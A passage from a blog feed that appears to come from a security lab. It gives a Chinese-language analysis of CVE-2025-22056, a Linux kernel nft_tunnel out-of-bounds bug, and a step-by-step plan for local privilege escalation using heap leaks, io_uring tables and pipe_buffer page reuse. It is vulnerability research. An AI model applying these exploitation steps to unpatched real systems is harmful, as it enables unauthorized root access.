    <content type="html"><![CDATA[<p>在一个多月前，Linux 内核中的 Netfilter 模块下针对 <code>nft_tunnel</code> 中存在的一处越界写漏洞补丁被提交到内核主线，该漏洞被分配为 <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22056"><strong>CVE-2025-22056</strong></a>，本篇文章旨在通过利用该漏洞对内核实现提权，同时该漏洞影响 <strong>Linux Kernel Version5.7-6.14</strong> 所有版本，由于在 Ubuntu 中该模块被添加为默认配置，因此该漏洞对于未打补丁的 Ubuntu 系统仍然能够有效提权。<span id="more"></span></p><h2 id="一-背景介绍"><a class="markdownIt-Anchor" href="#一-背景介绍"></a> 一、背景介绍</h2><h3 id="11-什么是-netfilter"><a class="markdownIt-Anchor" href="#11-什么是-netfilter"></a> 1.1 什么是 Netfilter？</h3><p><strong>Netfilter</strong> 是 Linux 内核中的一个框架，主要用于对网络数据包进行处理。它提供了 hook 机制，使得数据包可以在被处理的过程中，在内核级别被“拦截”，进而决定对数据包的行为，包括检查、修改、接受或丢弃等。Netfilter 构成了 Linux 防火墙、NAT（网络地址转换）等功能的基础，是 Linux 网络安全和数据包控制的核心模块。</p><p><strong>Netfilter 的核心功能：</strong></p><ol><li><p><strong>包过滤（Packet Filtering）</strong></p><ul><li>决定是否允许一个数据包通过</li><li>用于实现防火墙逻辑</li></ul></li><li><p><strong>NAT（网络地址转换）</strong></p><ul><li>动态修改数据包中的 IP 地址或端口</li><li>支持源地址转换（SNAT）和目的地址转换（DNAT）</li></ul></li><li><p><strong>连接跟踪（Connection Tracking）</strong></p><ul><li>跟踪每个网络连接的状态</li><li>可以判断数据包是否属于已建立的连接（如 <code>ESTABLISHED</code>）</li></ul></li><li><p><strong>状态防火墙（Stateful Firewall）</strong></p><ul><li>配合连接跟踪，实现有状态的包过滤规则（例如只允许建立连接的返回流量）</li></ul></li><li><p><strong>数据包修改（Packet Mangling）</strong></p><ul><li>支持对包头或数据内容进行修改</li></ul><p>​</p></li></ol><h3 id="12-为什么是-netfilter"><a class="markdownIt-Anchor" href="#12-为什么是-netfilter"></a> 1.2 为什么是 Netfilter？</h3><p>Netfilter不仅是 Linux 内核强大功能的一部分，同时也是攻击者重点关注的攻击面，理由如下：</p><p><strong>深度依赖用户输入（数据包）</strong>：Netfilter 模块直接处理外部网络数据，攻击者可以伪造恶意数据包进行模糊测试或构造边界条件。</p><p><strong>内核态运行，特权高</strong>：一旦触发漏洞，可能导致内核崩溃（DoS）或提权（LPE）。</p><p><strong>模块复杂，状态追踪多</strong>：如连接跟踪（<code>conntrack</code>）、NAT、匹配模块等涉及复杂状态机，容易产生边界处理错误、UAF、整数溢出等漏洞。</p><p><strong>大量代码基于宏和结构体嵌套</strong>：容易导致逻辑错误、缓冲区处理不当。</p><h3 id="13-什么是-netfilter-tunnel"><a class="markdownIt-Anchor" href="#13-什么是-netfilter-tunnel"></a> 1.3 什么是 Netfilter Tunnel？</h3><p>Netfilter Tunnel 是指利用 Linux 内核中的 Netfilter 框架对网络隧道数据进行处理和控制的技术体系。作为 Linux 网络栈的核心组件，Netfilter 为各种隧道协议提供了强大的数据包过滤、修改和转发能力，是构建现代虚拟化网络基础设施的关键技术。</p><h2 id="二-漏洞分析"><a class="markdownIt-Anchor" href="#二-漏洞分析"></a> 二、漏洞分析</h2><p>在本篇文章中测试版本为 Linux-6.12.6，commit <code>1b755d8eb1ace3870789d48fbd94f386ad6e30be</code> 给出了针对该漏洞的 patch，内容如下：</p><p><img src="Snipaste_2025-05-13_22-05-12.png" alt="nipaste_2025-05-13_22-05-1" /></p><p>通过上面的代码不难发现，该漏洞是一处类型混淆错误，原本的代码中<code>(struct geneve_opt *)opts-&gt;u.data + opts-&gt;len</code>的逻辑是先对<code>opts-&gt;u.data</code>进行类型转换，之后在对转换后的指针相加 <code>opts-&gt;len</code> ，从而导致相加的长度实际是 <code>opts-&gt;len * 4</code> （结构体 geneve_opt 的大小为 4 byte），间接导致在后面的 <code>memcpy</code> 代码处会发生越界写错误。</p><p><img src="Snipaste_2025-05-13_22-14-58.png" alt="nipaste_2025-05-13_22-14-5" /></p><h3 id="21-basics"><a class="markdownIt-Anchor" href="#21-basics"></a> 2.1 Basics</h3><p>为了对漏洞有更好的理解，这里对部分关键知识进行说明</p><p><strong>1. nlattr</strong></p><p><img src="Snipaste_2025-05-13_23-31-56.png" alt="nipaste_2025-05-13_23-31-5" /></p><p>该结构体是 Linux 内核网络子系统中 Netlink 协议使用的基本属性结构体 <code>struct nlattr</code>，常用于用户空间与内核空间之间通过 Netlink 消息交换附加数据（如 tunnel 配置、策略等）时的数据封装。</p><p><strong>2. geneve_opt</strong></p><p><img src="Snipaste_2025-05-13_23-36-24.png" alt="nipaste_2025-05-13_23-36-2" /></p><p>每个 <code>GENEVE Option</code> 由固定的 4 字节头部 + 可变长度的数据组成，<code>struct geneve_opt</code> 就是对这 4 字节头部的结构体抽象。<code>opt_class</code> 表示该选项的“类”，类似于协议命名空间，<code>type</code> 表示选项类型， <code>u8 length:5</code> 表示 <code>opt_data</code> 的长度，以 4 字节（即 32 位）为单位，实际长度 = <code>length * 4</code> 字节。</p><p>**3. nft_tunnel_obj/nft_tunnel_opts **</p><p><img src="Snipaste_2025-05-13_23-43-01.png" alt="nipaste_2025-05-13_23-43-0" /></p><p>这两个结构体 <code>struct nft_tunnel_opts</code> 和 <code>struct nft_tunnel_obj</code> 是 Linux 内核中 Netfilter 子系统的一部分，用于描述隧道封装元数据（如 VXLAN、ERSPAN、GENEVE 等）并与 Netfilter 的对象机制结合，从而在 <code>nftables</code> 中实现基于隧道元数据的匹配、处理或封装操作。层级关系如下：</p><p><img src="Snipaste_2025-05-13_23-47-17.png" alt="nipaste_2025-05-13_23-47-1" /></p><p><strong>4. nla_put</strong></p><p><img src="Snipaste_2025-05-14_14-11-16.png" alt="nipaste_2025-05-14_14-11-1" /></p><p>用于向 <code>struct sk_buff</code> 类型的 socket buffer 中添加一个 <strong>Netlink 属性（netlink attribute）</strong>，这是 Linux 内核中 Netlink 通信的一部分，用户空间与内核空间的数据交换，<code>__nla_put()</code> 是实际将属性插入到 <code>skb</code> 中的内部函数。</p><p><img src="Snipaste_2025-05-14_14-10-13.png" alt="nipaste_2025-05-14_14-10-1" /></p><p>而<code>__nla_put</code>本质是一个<code>memcpy</code>函数，其中<code>nla_data(nla) = (char *) nla + NLA_HDRLEN</code>。</p><h3 id="22-oob-write"><a class="markdownIt-Anchor" href="#22-oob-write"></a> 2.2 OOB-Write</h3><p><a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/do_syscall_x64">do_syscall_x64</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/x64_sys_call">x64_sys_call</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/source/net/socket.c#L2697">__x64_sys_sendmsg</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/__sys_sendmsg">__sys_sendmsg</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/___sys_sendmsg">___sys_sendmsg</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/____sys_sendmsg">sys_sendmsg</a>–&gt; <a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/__sock_sendmsg">__sock_sendmsg</a>–&gt; <a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/sock_sendmsg_nosec">sock_sendmsg_nosec</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/netlink_sendmsg">netlink_sendmsg</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/source/net/netlink/af_netlink.c#L1325">netlink_unicast</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/netlink_unicast_kernel">netlink_unicast_kernel</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/source/net/netlink/af_netlink.c#L1316">netlink_rcv</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nfnetlink_rcv">nfnetlink_rcv</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nfnetlink_rcv_skb_batch">nfnetlink_rcv_skb_batch</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nf_tables_newobj">nf_tables_newobj</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/source/net/netfilter/nf_tables_api.c#L7904">nft_obj_init</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nft_tunnel_obj_init">nft_tunnel_obj_init</a> --&gt; <a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nft_tunnel_obj_opts_init">nft_tunnel_obj_opts_init</a>–&gt;<a href="https://elixir.bootlin.com/linux/v6.12.6/C/ident/nft_tunnel_obj_geneve_init">nft_tunnel_obj_geneve_init</a></p><p>漏洞触发时的调用函数堆栈如上所示，这里重点关注分析与漏洞利用相关的函数，具体如下：</p><p><strong>1. nf_tables_newobj</strong></p><p><img src="Snipaste_2025-05-13_22-37-36.png" alt="nipaste_2025-05-13_22-37-3" /></p><p>该函数执行流大体含义为，首先确保消息中包含必须的属性：对象类型（NFTA_OBJ_TYPE）、对象名称（NFTA_OBJ_NAME）、以及对象数据（NFTA_OBJ_DATA)，调用 <code>nft_table_lookup</code> 查找指定的 <code>nft_table</code>，调用 <code>nft_obj_lookup</code> 查找目标表中是否已存在具有相同名称和类型的对象，之后在经过相关检查和初始化之后进入到函数 <code>nft_obj_init</code>中。</p><p><strong>2. nft_obj_init</strong></p><p><img src="Snipaste_2025-05-13_22-43-53.png" alt="nipaste_2025-05-13_22-43-5" /></p><p>该函数主要负责完成<code>nft_obj</code>的创建和初始化功能，其中第一个红框中的代码负责申请结构体内存，在测试版本中该结构体大小为 0x1d8，需要提前说明的是该结构体即为后续发生越界写时的结构体，注意这里分配标志是<code>GFP_KERNEL_ACCOUNT</code>，这为后续选择利用的结构体作铺垫。第二个红框中的代码则是通过函数指针的方式将结构体的初始化交由 Netfilter Tunnel 中的<code>nft_tunnel_obj_init</code> 函数进行处理。<code>nft_obj</code> 结构体内容如下，其中注释已对每个字段进行了解释。</p><p><img src="Snipaste_2025-05-13_23-00-04.png" alt="nipaste_2025-05-13_23-00-0" /></p><p><strong>3. nft_tunnel_obj_init</strong></p><p><img src="Snipaste_2025-05-13_23-06-35.png" alt="nipaste_2025-05-13_23-06-3" /></p><p>该函数功能大致为初始化隧道信息结构，设置源端口和目标端口，解析用户提供的标志位，设置服务类型（TOS）和生存时间（TTL），<strong>初始化隧道选项（如扩展信息）存储到 priv-&gt;opts</strong>，该部分内容对应为上图红框中的函数进行处理。</p><p><strong>4. nft_tunnel_obj_opts_init</strong></p><p><img src="Snipaste_2025-05-13_23-13-44.png" alt="nipaste_2025-05-13_23-13-4" /></p><p>该函数首先通过执行<code>nla_validate_nested_deprecated</code>函数，参数<code>nft_tunnel_opts_policy</code> 中定义的规则确保传入的 Netlink 消息满足规定条件。进入到<code>nla_for_each_attr</code>循环遍历用户传递的每一个<code>nlattr</code>属性，通过设置<code>nla_type</code> 属性为<code>NFTA_TUNNEL_KEY_GENEVE_TYPE</code>，确保执行流可以走到漏洞触发函数<code>nft_tunnel_obj_geneve_init</code>。</p><p><strong>5. nft_tunnel_obj_geneve_init</strong></p><p><img src="Snipaste_2025-05-13_22-14-58.png" alt="nipaste_2025-05-13_22-14-5" /></p><p>经过漫长的调用链跟踪，来到了开头提到的漏洞触发函数，该函数负责处理GENEVE隧道特有的选项。这里不妨重新思考如何将该类型混淆错误转换为越界写，上图中 <code>attr</code> 参数是用户可控的，参数 <code>opts</code> 由前面函数<code>nft_tunnel_obj_init</code> 中 <code>&amp;priv-&gt;opts</code>传递而来的，而 <code>priv = nft_obj_data(obj)</code> ，所以 <code>priv</code> 实际指向的是<code>nft_obj</code>的data字段， 初始<code>opts-&gt;u.data</code>指向数据区开头，且此时<code>opts-&gt;len</code>为0。</p><p>由于这里牵扯到多个结构体的内部类型转换，在理解上有一定困难，所以为了帮助理解，这里给出<code>nft_object</code>、<code>nft_tunnel_opts</code>、<code>geneve_opt</code>三个结构体层级关系：</p><p><img src="Snipaste_2025-05-14_16-18-30.png" alt="nipaste_2025-05-14_16-18-3" /></p><p>从上图可以发现，三者实际是相互嵌套的关系，<code>opts-&gt;u.data</code>中会存储所有<code>geneve</code> 隧道类型的结构数据，且需要辨析的是<code>opts-&gt;len</code> 是<code>u32</code>类型，以 1byte 为单位长度；<code>opt-&gt;length</code> 是 <code>5bit</code>，以 4byte 为单位长度；<code>attr-&gt;nla_len</code> 是 <code>u16</code>类型且以 1byte 为单位长度，<code>data_len = nla_len(attr)</code> 实际返回的是<code>atrr-&gt;nla_len - NLA_HDRLEN = atrr-&gt;nla_len - 4 </code>，该字段由用户控制。</p><p>再回头看漏洞函数，其中<code>nla_parse_nested</code>按照 <code>nft_tunnel_opts_geneve_policy</code> 的规范，从 Netlink 消息中嵌套的 Geneve 隧道选项属性中提取各字段到 <code>tb[]</code>，在该函数中会对传递的 <code>nlattr</code> 中的 <code>nla_len</code> 长度字段进行检查，在漏洞触发版本，针对 Geneve 隧道选项 DATA 的长度被设置为 128 byte，因此<code>nla_len</code> 的长度不能超过 132 byte（包括 4byte 头部长度），即 0x84 大小。</p><p>在实际利用过程中，我们至少需要发送两个<code>NFTA_TUNNEL_KEY_GENEVE_DATA</code> 类型的 attr 消息才能触发漏洞，理由是初始 <code>opts-&gt;len</code> 为0，在经过第一次 Geneve 消息处理时， <code>opts-&gt;len</code> 才会被设置为 <code>sizeof(*opt) + data_len</code> ，在前面提到 <code>attr</code> 由用户可控，因此 <code>data_len</code> 长度也由用户控制，这样就会间接导致<code>opts-&gt;len</code>可控，而在第二次处理 Geneve 消息时，此时先前的类型混淆错误便会发生作用，导致 opt 实际指向的位置为 <code>opts-&gt;u.data + opts-&gt;len * 4</code>，而正常应该指向的位置是<code>opts-&gt;u.data + opts-&gt;len</code>，因此实际指向的偏移位置扩大了4倍，导致足够溢出到下一个结构体堆块。</p><p><img src="Snipaste_2025-05-14_16-33-15.png" alt="nipaste_2025-05-14_16-33-1" /></p><p>实际溢出情况如上图所示，这里设置第一个 Gneneve 消息的 nla_len 长度为 0x58，计算得到的<code>data_len</code> 为0x54，从而 <code>opts-&gt;len</code> 为 0x58，该长度用来控制写的偏移位置，下一次写的位置则为 <code>opts-&gt;u.data + 0x58*4 + 4 </code>，在测试版本中<code>opts-&gt;u.data</code> 指向的是 <code>nft_object</code> 相对偏移 0x90 的位置（则<code>opt-&gt;opt_data = 0x90 + 4 = 0x94</code>），因此下一次写的位置相对偏移为<code>0x90 + 0x58*4 + 4= 0x1f4</code>，该位置即为 Second geneve 写的位置，此时只要通过设置 Second geneve 的 nla_len 字段，即可设置溢出下一个堆块的字节长度，同时需要注意的是溢出的长度是 4byte 的整数倍。</p><p><img src="Snipaste_2025-05-14_19-49-06.png" alt="nipaste_2025-05-14_19-49-0" /></p><p>上图为第一次处理 First Geneve 时的拷贝情况，如前面所述一致，第二次拷贝导致溢出时的情况如下图所示：</p><p><img src="Snipaste_2025-05-14_19-52-29.png" alt="nipaste_2025-05-14_19-52-2" /></p><p>这里将第二次的 Second geneve 消息的 data_len 设置为了 0x10，导致最终的结果是可以溢出到下一个堆块的前4个字节，实际溢出的长度可以通过控制 data_len 来设置溢出到下一个堆块的长度。对应用户空间的部分payload内容如下：</p><p><img src="Snipaste_2025-05-14_17-00-49.png" alt="nipaste_2025-05-14_17-00-4" /></p><p>至此我们有了一个偏移溢出写。</p><h3 id="23-oob-read"><a class="markdownIt-Anchor" href="#23-oob-read"></a> 2.3 OOB-Read</h3><p><img src="Snipaste_2025-05-13_22-05-12.png" alt="nipaste_2025-05-13_22-05-1" /></p><p>继续回到梦开始的地方，这里针对类型混淆添加了两处 patch，第一处即为我们先前在 OOB_write 中分析的函数，后面一处针对<code>nft_tunnel_opts_dump</code> 函数的 patch，同理该函数可以将 <code>opts-&gt;u.data</code> 中的数据 dump 下来传递到用户空间，由于类型混淆的存在因此可以想办法越界读下一个堆块的数据内容。</p><p><strong>1. nft_tunnel_opts_dump</strong></p><p><img src="Snipaste_2025-05-14_17-23-33.png" alt="nipaste_2025-05-14_17-23-3" /></p><p>该函数支持处理 Vxlan、Erspan 或 Geneve 三种隧道的数据，这里只需要关注 Geneve 即可，为了说清楚如何触发越界读，还需要回到 <code>nft_tunnel_obj_geneve_init</code> 函数初始化结构体<code>opts</code>当中，</p><p><strong>2. nft_tunnel_obj_geneve_init</strong></p><p><img src="Snipaste_2025-05-13_22-14-58.png" alt="nipaste_2025-05-13_22-14-5" /></p><p>在前面已经提过<code>data_len</code> 的最大长度可以被设置为 0x80，而先前在介绍 <code>geneve_opt</code> 结构体时，我们关注到该结构体的<code>length</code> 字段为 5 bit，即 length 的最大值应为 0x1F，因为 <code>opt-&gt;length = data_len / 4</code>，而当 <code>data_len</code> 被设置为 0x80 时，有 0x80 / 4 = 0x20，此时会造成溢出导致 <code>opt-&gt;length</code> 被设置为了0（该整数溢出于同一天在 References[2] 中修复）。</p><p>而 <code>memcpy</code> 拷贝时候的长度又是按照 <code>data_len</code> 字段来拷贝的，也就是 0x80 个字节，由于前一个结构体 <code>geneve_opt</code> 的 <code>opt-&gt;length </code> 被设置为0，这会导致在函数<code>nft_tunnel_opts_dump</code>中 解析结构体 geneve_opt 数据时，误将用户传递的 <code>opt_data</code> 内容当做下一个 <code>geneve_opt</code> 结构体的 header 来进行处理，因此我们可以伪造一个 <code>fake geneve_opt</code> 结构体，从而配合类型混淆错误实现越界读。</p><p><img src="Snipaste_2025-05-14_18-33-21.png" alt="nipaste_2025-05-14_18-33-2" /></p><p>具体过程如上图所示，通过设置 <code>fake_opt-&gt;length = 0x15</code>，刚好可以将相邻的下一个结构体内容继续当做 geneve_opt 结构体去解析，对应 geneve_opt:length 字段，位于第三字节偏移处的 5 bit，意味着只要下一个结构体的对应 length 字段处不为0，就可以读出下一个结构体的内容，同时只要满足<code>opts-&gt;len &gt; offset</code>循环条件，在 length 为0时，依旧可以继续读后面的内容。由于内核堆地址的随机性，且通过堆喷特定类型的结构体（GFP_KERNEL_ACCOUNT），可以实现泄露出相邻堆块的数据。</p><p><img src="Snipaste_2025-05-14_19-43-19.png" alt="nipaste_2025-05-14_19-43-1" /></p><p>通过gdb调试，也可以明显看到此时 <code>opt-&gt;opt_data</code> 已指向下一个堆块的内容，其中包括一些有明显特征的堆地址。</p><h2 id="三-漏洞利用"><a class="markdownIt-Anchor" href="#三-漏洞利用"></a> 三、漏洞利用</h2><p>我们现在有了一个越界写和越界读，但是越界读依赖下一个结构体中的内容。</p><h3 id="31-leak-heap-addr"><a class="markdownIt-Anchor" href="#31-leak-heap-addr"></a> 3.1 Leak heap addr</h3><p>首先看如何利用只能leak出不确定数据的越界读漏洞来稳定leak出下一个堆块的数据。</p><p>通过前面的分析如果下一个堆块的开头8字节是一个指针，第四个字节的5bit会被当作<code>geneve_opt-&gt;length</code>比如<code>0xffff888109412580</code>的第四个字节为0x09，那么就可以leak出下一个堆块的<code>0x204 ~ 0x204 + 4 * 9</code> 的数据，由于越界读不涉及指针破坏，因此可以多次尝试，直到 leak 出想要的数据。</p><p>回顾前面<code>nft_object</code>结构体的字段，可以发现该结构体开头有一个<code>list_head</code>字段，所有创建在同一个<code>table</code>的<code>nft_object</code>都会通过这个双向链表连接，那么有这样一个想法，连续分配两个能够leak的<code>nft_object</code>，它们如果相邻，那么就可以通过前一个<code>nft_object</code>来leak出下一个<code>nft_object</code>的<code>list-&gt;prev</code>指针，从而得到这两个连续<code>nft_object</code>的堆地址（是否相邻可以通过<code>list</code>、<code>rhlhead</code>里的几个指针字段的特征进行判断）。</p><p><img src="Snipaste_2025-01-11_17-01-51.png" alt="nipaste_2025-01-11_17-01-5" /></p><p>比如说在上图中，就可以通过<code>nft_obj1</code>越界读取到<code>nft_obj2</code>的<code>list_head-&gt;prev</code>字段，由于每次只重复分配两个<code>nft_object</code>，那么<code>nft_obj2</code>中<code>list_head</code>字段的<code>prev</code>（图中为<code>0xffff8881023f5a00</code>）必定指向<code>nft_obj1</code>的堆地址，又因为两者相邻，则<code>nft_obj2</code>的堆地址也可知。</p><h3 id="32-root-by-io_uring-table"><a class="markdownIt-Anchor" href="#32-root-by-io_uring-table"></a> 3.2 Root by io_uring table</h3><p>在泄露完堆地址后，这里主要通过两种方式来实现提权，第一种是通过利用 <code>io_uring table</code> 实现任意地址读写。</p><p><img src="Snipaste_2025-05-14_20-35-39.png" alt="nipaste_2025-05-14_20-35-3" /></p><p>申请的 table 数组大小也是可控的，分配标志也是<code>GFP_KERNEL_ACCOUNT</code>，不过需要注意的是这里需要通过<code>setrlimit(RLIMIT_NOFILE, &amp;rl)</code>调整文件描述符数量限制，使得 <code>table</code> 数组可以从 <code>kmalloc-cg-512</code> 中分配缓存，原因如下：</p><p><img src="Snipaste_2025-05-15_20-48-51.png" alt="nipaste_2025-05-15_20-48-5" /></p><p>在<code>io_sqe_files_register</code>函数中会对<code>nr_args</code>的大小进行检查，使得正常情况下<code>nr_args</code>的大小最大支持 <code>kmalloc-cg-256</code>  大小的 <code>table</code> 数组的分配，由于 0x108 也会从 <code>kmalloc-cg-512</code> 中分配 ，这里以该值为例，计算<code>nr_args</code> 需要至少为 <code>((0x108 / 8) * PAGE_SIZE) / 8 = 0x4200</code>，其中 0x108 表示 <code>table</code> 数组的大小（注意这种分配方式在 <code>commit 7029acd8a950393ee3a3d8e1a7ee1a9b77808a3b) </code>中已被去除）。关于通过修改<code>table</code>数组指针实现任意写原理，可参考 Reference[3]。</p><p>具体利用步骤如下：</p><p><strong>任意地址写</strong></p><p><strong>Step.1</strong></p><p>堆喷包含越界读的<code>nft_object</code>，通过越界读构造两组连续的<code>nft_object</code>，因为这一步只涉及越界读，不会破坏指针，因此可以不断重试，直到构造完成为止。</p><p><img src="Snipaste_2025-05-15_18-04-09.png" alt="nipaste_2025-05-15_18-04-0" /></p><p><strong>Step.2</strong></p><p>释放obj1，喷射stags_table A，释放obj4，喷射tags_table B，此时堆分布如下：</p><p><img src="Snipaste_2025-05-15_18-07-11.png" alt="nipaste_2025-05-15_18-07-1" /></p><p><strong>Step.3</strong></p><p>释放obj3，在堆喷<code>nft_obj</code>触发越界写，使其仅覆盖下一个堆块开头的8字节，将 tags_table B的<code>table[0]</code>指向tags_table A。</p><p><img src="Snipaste_2025-05-15_18-24-32.png" alt="nipaste_2025-05-15_18-24-3" /></p><p><strong>Step.4</strong></p><p>此时就可以通过控制tags_table B的<code>table[0]</code>向tags_table A的<code>table[0]</code>写入任意地址，最后再用tags_table A的<code>table[0]</code>向该地址写入任意值。</p><p><strong>任意地址读</strong></p><p>由于一个<code>nft_obj2</code>的地址也是已知的，注意到<code>nft_object</code>中存在<code>udlen</code>和<code>udata</code>两个字段，前者控制长度，后者控制地址，在<code>nf_tables_getobj</code>可以将<code>udata</code>指针指向的数据dump出来。</p><p>因此可以通过任意地址写将<code>udata</code>改为要读的地址，<code>udlen</code>改为要读取的长度（调试发现最好改为0xC00以下，否则可能会因为超过<code>sk_buff</code>的长度导致读取失败），从而完成任意地址读。</p><p>具体在内存中的表现如下图所示：</p><p><img src="Snipaste_2025-01-11_17-50-18.png" alt="nipaste_2025-01-11_17-50-1" /></p><p>有了任意读写之后，然后搜 <code>cred</code> 改<code>uid</code> 就可以拿到root权限了。</p><h3 id="33-root-by-pipe_buffer"><a class="markdownIt-Anchor" href="#33-root-by-pipe_buffer"></a> 3.3 Root by pipe_buffer</h3><p>由于 pipe_buffer 结构体也是从 <code>GFP_KERNEL_ACCOUNT</code> 缓存中分配，因此第二种方式尝试通过该结构体实现提权。</p><p><strong>Step.1</strong></p><p>在这一步中同时释放<code>nft_obj1</code> 和<code>nft_obj2</code>，然后堆喷<code>pipe_buffer</code>进行堆占位，又因为前面已经泄露了<code>nft_obj</code>的地址，自然而然也知道了<code>pipe_buffer</code>的地址，为方便后续说明，将这里堆喷的<code>pipe_buffer</code> 称作 <code>pipe_set_A</code>，简单来说就是看做一个集合A，这个集合里面的<code>pipe</code>会被用来后面构造<code>page uaf</code>。</p><p><strong>Step.2</strong></p><p>之后通过不断重复分配两个<code>nft_obj</code>，利用越界写其中一个<code>nft_obj</code>的<code>udlen</code>和<code>udata</code>字段，让指针指向<code>pipe_buffer</code>结构体从而可以泄露出<code>page</code>指针。</p><p><strong>Step.3</strong></p><p>在泄露出 page 之后，利用方式就变得比较多了，这里通过越界写构造一个 Page UAF，构建自写管道，实现任意物理地址读写，由于堆块分配的随机性，所以在这个过程中需要堆喷 <code>pipe_buffer</code>，同时去触发越界写，在检测是否成功溢出到 page 指针。在这个过程中堆喷的<code>pipe_buffer</code>称作<code>pipe_set_B</code>，完成该过程之后的堆内存分布图参考如下：</p><p><img src="Snipaste_2025-05-15_16-56-00.png" alt="nipaste_2025-05-15_16-56-0" /></p><p>上图即为<strong>第一次</strong>构造<code>page uaf</code>时的场景，这里稍微提几点需要注意的地方，首先，不管是哪个集合，这些spray_pipe 不要求是连续的，也不要求在同一个slab之内，我们 leak 出的 page 字段也不一定是 <code>spray_pipe[0]</code>的，只需要确定在 <code>pipe_set_A</code> 和 <code>pipe_set_B</code>中存在两个page指向的是同一个页面即可，正常来说在这一步之继续堆喷 <code>pipe_buffer</code> 占用释放的 page 就可以实现任意读写了，但是在实机测试过程中发现成功命中该page的概率较小，导致利用成功率较低。</p><p>针对上述这种情况出现的问题，这里采用的思路是多次触发page uaf去增大page命中的概率，由于<code>pipe_buffer</code>结构体可能虽然在内存中是不连续的，但是需要注意的是，分配的<code>struct page</code>结构体却大概率是连续的，<code>struct page</code>结构体大小为0x40，在不开随机化的时候默认从<code>VMEMMAP_BASE 0xffffea0000000000</code>开始（对应x86-64架构）存放<code>struct page</code>结构体。具体原理参考下图：</p><p><img src="Snipaste_2025-05-15_17-14-28.png" alt="nipaste_2025-05-15_17-14-2" /></p><p>事实证明，在漏洞利用过程中采用了上述思路之后，命中效果有较大幅提升，而且理论上来说，这种尝试次数可以叠加，从而对应的命中成功率也会上升，当然由于这个过程中也会增加越界写触发的次数可能导致内核崩溃的概率增加，但是这里由于只需要溢出page字段，因而控制每次溢出长度为 4 byte 即可，在实际利用过程中，因为越界写而导致的内核crash的概率很低。</p><p><strong>Step.4</strong></p><p><img src="Snipaste_2025-05-15_17-27-00.png" alt="nipaste_2025-05-15_17-27-0" /></p><p>最后效果如上图所示，至此就可以通过修改 UAF page 中的 pipe_buffer 来实现任意地址读写。</p><h2 id="四-实机演示"><a class="markdownIt-Anchor" href="#四-实机演示"></a> 四、实机演示</h2><p>在 vedio 目录分别保存有两种利用方式最终实现的提权效果。</p><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"loop":"yes","screenshot":"yes","video":{"url":"/CVE-2025-22056/io_uring.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><div id="dplayer1" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer1"),"loop":"yes","screenshot":"yes","video":{"url":"/CVE-2025-22056/pipe_buffer.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="references"><a class="markdownIt-Anchor" href="#references"></a> References</h2><ol><li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1b755d8eb1ace3870789d48fbd94f386ad6e30be">https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1b755d8eb1ace3870789d48fbd94f386ad6e30be</a></li><li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=b27055a08ad4b415dcf15b63034f9cb236f7fb40">https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=b27055a08ad4b415dcf15b63034f9cb236f7fb40</a></li><li><a href="https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#IORING-REGISTER-BUFFERS2-%EF%BC%9A%E8%80%81%E7%89%88%E6%9C%AC%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84-4k-%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D">https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#IORING-REGISTER-BUFFERS2-：老版本内核中的-4k-“菜单堆”</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;在一个多月前，Linux 内核中的 Netfilter 模块下针对 &lt;code&gt;nft_tunnel&lt;/code&gt; 中存在的一处越界写漏洞补丁被提交到内核主线，该漏洞被分配为 &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-22056&quot;&gt;&lt;strong&gt;CVE-2025-22056&lt;/strong&gt;&lt;/a&gt;，本篇文章旨在通过利用该漏洞对内核实现提权，同时该漏洞影响 &lt;strong&gt;Linux Kernel Version5.7-6.14&lt;/strong&gt; 所有版本，由于在 Ubuntu 中该模块被添加为默认配置，因此该漏洞对于未打补丁的 Ubuntu 系统仍然能够有效提权。</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>无法摆脱的追踪</title>
    <link href="https://dawnslab.jd.com/trace/"/>
    <id>https://dawnslab.jd.com/trace/</id>
    <published>2025-05-28T03:53:20.000Z</published>
    <updated>2025-08-21T06:15:24.203Z</updated>
    
